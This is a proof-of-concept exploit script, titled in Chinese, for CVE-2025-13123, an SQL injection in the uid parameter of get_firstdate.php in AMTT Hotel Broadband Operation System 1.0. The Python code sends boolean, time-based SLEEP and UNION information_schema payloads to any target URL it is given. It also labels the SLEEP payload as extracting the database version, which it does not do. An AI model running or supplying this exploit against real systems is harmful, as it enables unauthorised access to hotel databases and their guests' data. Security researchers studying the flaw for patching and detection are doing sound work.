CVE-2025-13123 AMTT Hotel系统get_firstdate.php文件SQL注入漏洞

import requests import sys # CVE-2025-13123 SQL Injection PoC # Target: AMTT Hotel Broadband Operation System 1.0 # Vulnerable File: /user/portal/get_firstdate.php # Parameter: uid def exploit_sql_injection(target_url, uid_payload): """ Exploit SQL injection vulnerability in AMTT Hotel System Args: target_url: Base URL of the target system uid_payload: Malicious SQL payload for uid parameter """ # Construct the vulnerable endpoint endpoint = f"{target_url}/user/portal/get_firstdate.php" # Prepare the payload with SQL injection params = { 'uid': uid_payload } try: # Send HTTP GET request with malicious payload response = requests.get(endpoint, params=params, timeout=10) # Check if injection was successful if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Payload: {uid_payload}") print(f"[+] Response length: {len(response.text)}") print(f"[+] Response preview: {response.text[:500]}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_database_version(target_url): """ Extract database version using SQL injection """ # Time-based blind SQL injection payload to extract version version_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" exploit_sql_injection(target_url, version_payload) def extract_tables(target_url): """ Extract table names from database """ # Union-based SQL injection to extract table names tables_payload = "1' UNION SELECT table_name FROM information_schema.tables WHERE '1'='1" exploit_sql_injection(target_url, tables_payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13123.py <target_url>") print("Example: python cve-2025-13123.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-13123 SQL Injection Exploitation") print("Target: AMTT Hotel Broadband Operation System 1.0") print("=" * 60) # Test basic SQL injection basic_payload = "1' OR '1'='1" print("\n[*] Testing basic SQL injection...") exploit_sql_injection(target, basic_payload) # Extract database version print("\n[*] Attempting to extract database version...") extract_database_version(target) # Extract table names print("\n[*] Attempting to extract database tables...") extract_tables(target)